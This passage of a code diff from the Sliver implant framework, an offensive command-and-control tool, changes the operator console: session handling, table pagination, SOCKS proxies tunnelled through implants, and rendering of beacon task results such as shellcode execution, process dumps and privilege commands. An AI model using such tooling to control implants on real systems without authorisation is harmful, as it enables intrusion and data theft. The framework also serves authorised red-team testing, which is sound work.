c2s = append(c2s, dnsC2...)
namedPipeC2, err := generate.ParseNamedPipec2(ctx.Flags.String("named-pipe"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, namedPipeC2...)
tcpPivotC2, err := generate.ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, tcpPivotC2...)
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
return
}
openSession := &sliverpb.OpenSession{
Request: con.ActiveTarget.Request(ctx),
C2S: []string{},
Delay: int64(delay),
}
for _, c2 := range c2s {
openSession.C2S = append(openSession.C2S, c2.URL)
}
openSession, err = con.Rpc.OpenSession(context.Background(), openSession)
if err != nil {
con.PrintErrorf("%s\n", err)
}
if openSession.Response != nil && openSession.Response.Async {
con.PrintAsyncResponse(openSession.Response)
} else {
con.PrintErrorf("rpc response missing!\n")
}
}
+2 -1
View File
@@ -21,6 +21,7 @@ package sessions
import (
"context"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
@@ -40,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
for _, session := range sessions.GetSessions() {
if session.IsDead {
con.Printf("Pruning session #%d ...", session.ID)
err = killSession(session, true, con)
err = kill.KillSession(session, true, con)
if err != nil {
con.Printf("failed!\n")
con.PrintErrorf("%s\n", err)
+18 -36
View File
@@ -21,9 +21,9 @@ package sessions
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -36,7 +36,7 @@ import (
func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
interact := ctx.Flags.String("interact")
kill := ctx.Flags.String("kill")
killFlag := ctx.Flags.String("kill")
killAll := ctx.Flags.Bool("kill-all")
clean := ctx.Flags.Bool("clean")
@@ -49,7 +49,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if killAll {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
err := killSession(session, true, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -63,7 +63,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
if session.IsDead {
err := killSession(session, true, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -73,13 +73,13 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
return
}
if kill != "" {
session := con.GetSession(kill)
if killFlag != "" {
session := con.GetSession(killFlag)
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && session.ID == activeSession.ID {
con.ActiveTarget.Background()
}
err := killSession(session, true, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -123,14 +123,11 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
"Health",
})
activeIndex := -1
index := 0
for _, session := range sessions {
color := console.Normal
if con.ActiveTarget.GetSession() != nil && con.ActiveTarget.GetSession().ID == session.ID {
activeIndex = index + 2 // Two lines for the headers
color = console.Green
}
index++
var SessionHealth string
if session.IsDead {
SessionHealth = console.Bold + console.Red + "[DEAD]" + console.Normal
@@ -142,14 +139,14 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
burned = "🔥"
}
tw.AppendRow(table.Row{
session.ID,
session.Name,
session.Transport,
session.RemoteAddress,
session.Hostname,
session.Username,
fmt.Sprintf("%s/%s", session.OS, session.Arch),
time.Unix(session.LastCheckin, 0).Format(time.RFC1123),
fmt.Sprintf(color+"%d"+console.Normal, session.ID),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
}
@@ -157,20 +154,5 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
{Name: "ID", Mode: table.Asc},
})
if activeIndex != -1 {
lines := strings.Split(tw.Render(), "\n")
for lineNumber, line := range lines {
if len(line) == 0 {
continue
}
if lineNumber == activeIndex {
con.Printf("%s%s%s\n", console.Green, line, console.Normal)
} else {
con.Printf("%s\n", line)
}
}
} else {
con.Printf("%s\n", tw.Render())
}
con.Printf("%s\n", tw.Render())
}
+141 -1
View File
@@ -19,10 +19,15 @@ package settings
*/
import (
"fmt"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"golang.org/x/crypto/ssh/terminal"
)
var (
@@ -56,7 +61,7 @@ var (
TopLeft: " ",
TopRight: " ",
TopSeparator: " ",
UnfinishedRow: " ~~",
UnfinishedRow: "~~",
},
Color: table.ColorOptions{
IndexColumn: text.Colors{},
@@ -78,6 +83,47 @@ var (
SeparateRows: false,
},
}
sliverBordersDefault = table.Style{
Name: "SliverBordersDefault",
Box: table.BoxStyle{
BottomLeft: "+",
BottomRight: "+",
BottomSeparator: "-",
Left: "|",
LeftSeparator: "+",
MiddleHorizontal: "-",
MiddleSeparator: "+",
MiddleVertical: "|",
PaddingLeft: " ",
PaddingRight: " ",
Right: "|",
RightSeparator: "+",
TopLeft: "+",
TopRight: "+",
TopSeparator: "-",
UnfinishedRow: "~~",
},
Color: table.ColorOptions{
IndexColumn: text.Colors{},
Footer: text.Colors{},
Header: text.Colors{},
Row: text.Colors{},
RowAlternate: text.Colors{},
},
Format: table.FormatOptions{
Footer: text.FormatDefault,
Header: text.FormatTitle,
Row: text.FormatDefault,
},
Options: table.Options{
DrawBorder: true,
SeparateColumns: true,
SeparateFooter: false,
SeparateHeader: true,
SeparateRows: false,
},
}
)
// GetTableStyle - Get the current table style
@@ -92,3 +138,97 @@ func GetTableStyle(con *console.SliverConsoleClient) table.Style {
}
return tableStyles[SliverDefault.Name]
}
// GetTableWithBordersStyle - Get the table style with borders
func GetTableWithBordersStyle(con *console.SliverConsoleClient) table.Style {
if con.Settings == nil {
con.Settings, _ = assets.LoadSettings()
}
value, ok := tableStyles[con.Settings.TableStyle]
if !ok || con.Settings.TableStyle == SliverDefault.Name {
return sliverBordersDefault
}
return value
}
// GetPageSize - Page size for tables
func GetPageSize() int {
return 10
}
// PagesOf - Return the pages of a table
func PagesOf(renderedTable string) [][]string {
lines := strings.Split(renderedTable, "\n")
if len(lines) < 2 {
return [][]string{}
}
token := lines[0]
pages := [][]string{}
page := []string{token}
for _, line := range lines[1:] {
if line != token {
page = append(page, line)
} else {
pages = append(pages, page)
page = []string{token}
}
}
pages = append(pages, page)
return pages
}
// PaginateTable - Render paginated table to console
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
renderedTable := tw.Render()
lineCount := strings.Count(renderedTable, "\n")
if !overflow {
// Only paginate if the number of lines is at least 2x the terminal height
width, height, err := terminal.GetSize(0)
if err == nil && 2*height < lineCount {
if 7 < height {
tw.SetPageSize(height - 6)
tw.SetAllowedRowLength(width)
} else {
tw.SetPageSize(2)
tw.SetAllowedRowLength(width)
}
renderedTable = tw.Render()
}
}
pages := PagesOf(renderedTable)
for pageNumber, page := range pages {
if pageNumber+1 < skipPages {
continue
}
for _, line := range page {
if len(line) == 0 {
continue
}
con.Printf("%s\n", line)
}
con.Println()
if interactive {
if 1 < len(pages) {
if pageNumber+1 < len(pages) {
nextPage := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("[%d/%d] Continue?", pageNumber+1, len(pages)),
}
survey.AskOne(prompt, &nextPage)
if !nextPage {
break
}
con.Println()
} else {
con.Printf(console.Bold+"Page [%d/%d]\n", pageNumber+1, len(pages))
}
}
} else {
if 1 < len(pages) {
con.Printf(console.Bold+"Page [%d/%d]\n", pageNumber+1, len(pages))
}
break
}
}
}
+90
View File
@@ -0,0 +1,90 @@
package socks
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/rand"
"encoding/base64"
"fmt"
"net"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"gopkg.in/AlecAivazis/survey.v1"
)
// SocksAddCmd - Add a new tunneled port forward
func SocksAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
// listener
host := ctx.Flags.String("host")
port := ctx.Flags.String("port")
bindAddr := fmt.Sprintf("%s:%s", host, port)
ln, err := net.Listen("tcp", bindAddr)
if err != nil {
con.PrintErrorf("Socks5 Listen %s \n", err.Error())
return
}
username := ctx.Flags.String("user")
if err != nil {
return
}
password := ""
if username != "" {
con.PrintWarnf("SOCKS proxy authentication credentials are tunneled to the implant\n")
con.PrintWarnf("These credentials are recoverable from the implant's memory!\n\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you understand the implication?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
password = randomPassword()
con.Printf("\n")
}
channelProxy := &core.TcpProxy{
Rpc: con.Rpc,
Session: session,
Listener: ln,
BindAddr: bindAddr,
Username: username,
Password: password,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
go func(channelProxy *core.TcpProxy) {
core.SocksProxies.Start(channelProxy)
}(core.SocksProxies.Add(channelProxy).ChannelProxy)
con.PrintInfof("Started SOCKS5 %s %s %s %s\n", host, port, username, password)
con.PrintWarnf("In-band SOCKS proxies can be a little unstable depending on protocol\n")
}
func randomPassword() string {
buf := make([]byte, 16)
rand.Read(buf)
return base64.RawStdEncoding.EncodeToString(buf)
}
+46
View File
@@ -0,0 +1,46 @@
package socks
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// SocksRmCmd - Remove an existing tunneled port forward
func SocksRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socksID := ctx.Flags.Int("id")
if socksID < 1 {
con.PrintErrorf("Must specify a valid socks5 id\n")
return
}
found := core.SocksProxies.Remove(socksID)
if !found {
con.PrintErrorf("No socks5 with id %d\n", socksID)
} else {
con.PrintInfof("Removed socks5\n")
}
// close
con.Rpc.CloseSocks(context.Background(), &sliverpb.Socks{})
}
+56
View File
@@ -0,0 +1,56 @@
package socks
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"sort"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// SocksCmd - Display information about tunneled port forward(s)
func SocksCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socks := core.SocksProxies.List()
if len(socks) == 0 {
con.PrintInfof("No socks5 proxies\n")
return
}
sort.Slice(socks[:], func(i, j int) bool {
return socks[i].ID < socks[j].ID
})
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Session ID",
"Bind Address",
"Username",
"Passwords",
})
for _, p := range socks {
tw.AppendRow(table.Row{p.ID, p.SessionID, p.BindAddr, p.Username, p.Password})
}
con.Printf("%s\n", tw.Render())
}
+675
View File
@@ -0,0 +1,675 @@
package tasks
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"os"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/command/network"
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"google.golang.org/protobuf/proto"
)
// TasksFetchCmd - Manage beacon tasks
func TasksFetchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
tasks := beaconTasks.Tasks
if len(tasks) == 0 {
con.PrintErrorf("No tasks for beacon\n")
return
}
idArg := ctx.Args.String("id")
if idArg != "" {
tasks = filterTasksByID(idArg, tasks)
if len(tasks) == 0 {
con.PrintErrorf("No beacon task found with id %s\n", idArg)
return
}
}
filter := ctx.Flags.String("filter")
if filter != "" {
tasks = filterTasksByTaskType(filter, tasks)
if len(tasks) == 0 {
con.PrintErrorf("No beacon tasks with filter type '%s'\n", filter)
return
}
}
var task *clientpb.BeaconTask
if 1 < len(tasks) {
task, err = SelectBeaconTask(tasks)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf(console.UpN+console.Clearln, 1)
} else {
task = tasks[0]
}
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: task.ID})
if err != nil {
con.PrintErrorf("Failed to fetch task content: %s\n", err)
return
}
PrintTask(task, con)
}
func filterTasksByID(taskID string, tasks []*clientpb.BeaconTask) []*clientpb.BeaconTask {
filteredTasks := []*clientpb.BeaconTask{}
for _, task := range tasks {
if strings.HasPrefix(task.ID, strings.ToLower(taskID)) {
filteredTasks = append(filteredTasks, task)
}
}
return filteredTasks
}
func filterTasksByTaskType(taskType string, tasks []*clientpb.BeaconTask) []*clientpb.BeaconTask {
filteredTasks := []*clientpb.BeaconTask{}
for _, task := range tasks {
if strings.HasPrefix(strings.ToLower(task.Description), strings.ToLower(taskType)) {
filteredTasks = append(filteredTasks, task)
}
}
return filteredTasks
}
// PrintTask - Print the details of a beacon task
func PrintTask(task *clientpb.BeaconTask, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableWithBordersStyle(con))
tw.AppendRow(table.Row{console.Bold + "Beacon Task" + console.Normal, task.ID})
tw.AppendSeparator()
tw.AppendRow(table.Row{"State", emojiState(task.State) + " " + prettyState(strings.Title(task.State))})
tw.AppendRow(table.Row{"Description", task.Description})
tw.AppendRow(table.Row{"Created", time.Unix(task.CreatedAt, 0).Format(time.RFC1123)})
if !time.Unix(task.SentAt, 0).IsZero() {
tw.AppendRow(table.Row{"Sent", time.Unix(task.SentAt, 0).Format(time.RFC1123)})
}
if !time.Unix(task.CompletedAt, 0).IsZero() {
tw.AppendRow(table.Row{"Completed", time.Unix(task.CompletedAt, 0).Format(time.RFC1123)})
}
tw.AppendRow(table.Row{"Request Size", util.ByteCountBinary(int64(len(task.Request)))})
if !time.Unix(task.CompletedAt, 0).IsZero() {
tw.AppendRow(table.Row{"Response Size", util.ByteCountBinary(int64(len(task.Response)))})
}
tw.AppendSeparator()
con.Printf("%s\n", tw.Render())
if !time.Unix(task.CompletedAt, 0).IsZero() {
con.Println()
if 0 < len(task.Response) {
renderTaskResponse(task, con)
} else {
con.PrintInfof("No task response\n")
}
}
}
func emojiState(state string) string {
switch strings.ToLower(state) {
case "completed":
return "✅"
case "pending":
return "⏳"
case "failed":
return "❌"
default:
return "❓"
}
}
// Decode and render message specific content
func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleClient) {
reqEnvelope := &sliverpb.Envelope{}
proto.Unmarshal(task.Request, reqEnvelope)
switch reqEnvelope.Type {
// ---------------------
// Environment commands
// ---------------------
case sliverpb.MsgEnvInfo:
envInfo := &sliverpb.EnvInfo{}
err := proto.Unmarshal(task.Request, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
environment.PrintGetEnvInfo(envInfo, con)
case sliverpb.MsgSetEnvReq:
setEnvReq := &sliverpb.SetEnvReq{}
err := proto.Unmarshal(task.Request, setEnvReq)
if err != nil {
con.PrintErrorf("Failed to decode task request: %s\n", err)
return
}
setEnv := &sliverpb.SetEnv{}
err = proto.Unmarshal(task.Response, setEnv)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
environment.PrintSetEnvInfo(setEnvReq.Variable.Key, setEnvReq.Variable.Value, setEnv, con)
case sliverpb.MsgUnsetEnvReq:
unsetEnvReq := &sliverpb.UnsetEnvReq{}
err := proto.Unmarshal(task.Request, unsetEnvReq)
if err != nil {
con.PrintErrorf("Failed to decode task request: %s\n", err)
return
}
unsetEnv := &sliverpb.UnsetEnv{}
err = proto.Unmarshal(task.Response, unsetEnv)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
environment.PrintUnsetEnvInfo(unsetEnvReq.Name, unsetEnv, con)
// ---------------------
// Exec commands
// ---------------------
case sliverpb.MsgExecuteAssemblyReq:
execAssembly := &sliverpb.ExecuteAssembly{}
err := proto.Unmarshal(task.Response, execAssembly)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
beacon, _ := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
hostname := "hostname"
if beacon != nil {
hostname = beacon.Hostname
}
assemblyPath := ""
ctx := &grumble.Context{
Command: &grumble.Command{Name: "execute-assembly"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false, IsDefault: true},
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
},
}
exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
// execute-shellcode
case sliverpb.MsgTaskReq:
shellcodeExec := &sliverpb.Task{}
err := proto.Unmarshal(task.Response, shellcodeExec)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
exec.PrintExecuteShellcode(shellcodeExec, con)
case sliverpb.MsgExecuteReq:
execReq := &sliverpb.ExecuteReq{}
err := proto.Unmarshal(reqEnvelope.Data, execReq)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
execResult := &sliverpb.Execute{}
err = proto.Unmarshal(task.Response, execResult)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
ctx := &grumble.Context{
Flags: grumble.FlagMap{
"ignore-stderr": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
"stdout": &grumble.FlagMapItem{Value: ""},
"stderr": &grumble.FlagMapItem{Value: ""},
"output": &grumble.FlagMapItem{Value: true},
},
Args: grumble.ArgMap{
"command": &grumble.ArgMapItem{Value: execReq.Path},
"arguments": &grumble.ArgMapItem{Value: execReq.Args},
},
}
exec.PrintExecute(execResult, ctx, con)
case sliverpb.MsgSideloadReq:
sideload := &sliverpb.Sideload{}
err := proto.Unmarshal(task.Response, sideload)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
beacon, _ := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
hostname := "hostname"
if beacon != nil {
hostname = beacon.Hostname
}
ctx := &grumble.Context{
Command: &grumble.Command{Name: "sideload"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
},
}
exec.PrintSideload(sideload, hostname, ctx, con)
case sliverpb.MsgSpawnDllReq:
spawnDll := &sliverpb.SpawnDll{}
err := proto.Unmarshal(task.Response, spawnDll)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
beacon, _ := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
hostname := "hostname"
if beacon != nil {
hostname = beacon.Hostname
}
ctx := &grumble.Context{
Command: &grumble.Command{Name: "spawndll"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
},
}
exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
case sliverpb.MsgSSHCommandReq:
sshCommand := &sliverpb.SSHCommand{}
err := proto.Unmarshal(task.Response, sshCommand)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
exec.PrintSSHCmd(sshCommand, con)
// ---------------------
// File system commands
// ---------------------
// Cat = download
case sliverpb.MsgCdReq:
pwd := &sliverpb.Pwd{}
err := proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
filesystem.PrintPwd(pwd, con)
case sliverpb.MsgDownload:
download := &sliverpb.Download{}
err := proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
taskResponseDownload(download, con)
case sliverpb.MsgLsReq:
ls := &sliverpb.Ls{}
err := proto.Unmarshal(task.Response, ls)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
flags := grumble.FlagMap{
"reverse": &grumble.FlagMapItem{Value: false},
"modified": &grumble.FlagMapItem{Value: false},
"size": &grumble.FlagMapItem{Value: false},
}
filesystem.PrintLs(ls, flags, "", con)
case sliverpb.MsgMkdirReq:
mkdir := &sliverpb.Mkdir{}
err := proto.Unmarshal(task.Response, mkdir)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
filesystem.PrintMkdir(mkdir, con)
case sliverpb.MsgPwdReq:
pwd := &sliverpb.Pwd{}
err := proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
filesystem.PrintPwd(pwd, con)
case sliverpb.MsgRmReq:
rm := &sliverpb.Rm{}
err := proto.Unmarshal(task.Response, rm)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
filesystem.PrintRm(rm, con)
case sliverpb.MsgUpload:
upload := &sliverpb.Upload{}
err := proto.Unmarshal(task.Response, upload)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
filesystem.PrintUpload(upload, con)
// ---------------------
// Network commands
// ---------------------
case sliverpb.MsgIfconfigReq:
ifconfig := &sliverpb.Ifconfig{}
err := proto.Unmarshal(task.Response, ifconfig)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
network.PrintIfconfig(ifconfig, true, con)
case sliverpb.MsgNetstatReq:
netstat := &sliverpb.Netstat{}
err := proto.Unmarshal(task.Response, netstat)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
if err != nil {
con.PrintErrorf("Failed to fetch beacon: %s\n", err)
return
}
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, con)
// ---------------------
// Privilege commands
// ---------------------
case sliverpb.MsgGetPrivsReq:
privs := &sliverpb.GetPrivs{}
err := proto.Unmarshal(task.Response, privs)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
if err != nil {
con.PrintErrorf("Failed to fetch beacon: %s\n", err)
return
}
privilege.PrintGetPrivs(privs, beacon.PID, con)
case sliverpb.MsgInvokeGetSystemReq:
getSystem := &sliverpb.GetSystem{}
err := proto.Unmarshal(task.Response, getSystem)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
privilege.PrintGetSystem(getSystem, con)
case sliverpb.MsgImpersonateReq:
impersonateReq := &sliverpb.ImpersonateReq{}
err := proto.Unmarshal(task.Response, impersonateReq)
if err != nil {
con.PrintErrorf("Failed to decode task request: %s\n", err)
return
}
impersonate := &sliverpb.Impersonate{}
err = proto.Unmarshal(task.Response, impersonate)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
privilege.PrintImpersonate(impersonate, impersonateReq.Username, con)
case sliverpb.MsgMakeTokenReq:
makeTokenReq := &sliverpb.MakeTokenReq{}
err := proto.Unmarshal(task.Response, makeTokenReq)
if err != nil {
con.PrintErrorf("Failed to decode task request: %s\n", err)
return
}
makeToken := &sliverpb.MakeToken{}
err = proto.Unmarshal(task.Response, makeToken)
if err != nil {
con.PrintErrorf("Failed to decode task request: %s\n", err)
return
}
privilege.PrintMakeToken(makeToken, makeTokenReq.Domain, makeTokenReq.Username, con)
case sliverpb.MsgRunAsReq:
runAsReq := &sliverpb.RunAsReq{}
err := proto.Unmarshal(task.Response, runAsReq)
if err != nil {
con.PrintErrorf("Failed to decode task request: %s\n", err)
return
}
runAs := &sliverpb.RunAs{}
err = proto.Unmarshal(task.Response, runAs)
if err != nil {
con.PrintErrorf("Failed to decode task request: %s\n", err)
return
}
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
if err != nil {
con.PrintErrorf("Failed to fetch beacon: %s\n", err)
return
}
privilege.PrintRunAs(runAs, runAsReq.ProcessName, runAsReq.Args, beacon.Name, con)
// ---------------------
// Processes commands
// ---------------------
case sliverpb.MsgProcessDumpReq:
dump := &sliverpb.ProcessDump{}
err := proto.Unmarshal(task.Response, dump)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
promptSaveToFile(dump.Data, con)
case sliverpb.MsgPsReq:
ps := &sliverpb.Ps{}
err := proto.Unmarshal(task.Response, ps)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
if err != nil {
con.PrintErrorf("Failed to get beacon: %s\n", err)
return
}
ctx := &grumble.Context{
Flags: grumble.FlagMap{
"pid": &grumble.FlagMapItem{Value: -1},
"exe": &grumble.FlagMapItem{Value: ""},
"owner": &grumble.FlagMapItem{Value: ""},
"overflow": &grumble.FlagMapItem{Value: false},
"skip-pages": &grumble.FlagMapItem{Value: 0},
"print-cmdline": &grumble.FlagMapItem{Value: true},
},
}
processes.PrintPS(beacon.OS, ps, true, ctx, con)
case sliverpb.MsgTerminateReq:
terminate := &sliverpb.Terminate{}
err := proto.Unmarshal(task.Response, terminate)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
processes.PrintTerminate(terminate, con)
// ---------------------
// Registry commands
// ---------------------
case sliverpb.MsgRegistryCreateKeyReq:
createKeyReq := &sliverpb.RegistryCreateKeyReq{}
err := proto.Unmarshal(task.Request, createKeyReq)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
createKey := &sliverpb.RegistryCreateKey{}
err = proto.Unmarshal(task.Response, createKey)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
registry.PrintCreateKey(createKey, createKeyReq.Path, createKeyReq.Key, con)
case sliverpb.MsgRegistryListValuesReq:
listValuesReq := &sliverpb.RegistryListValuesReq{}
err := proto.Unmarshal(task.Request, listValuesReq)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
regList := &sliverpb.RegistryValuesList{}
err = proto.Unmarshal(task.Response, regList)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
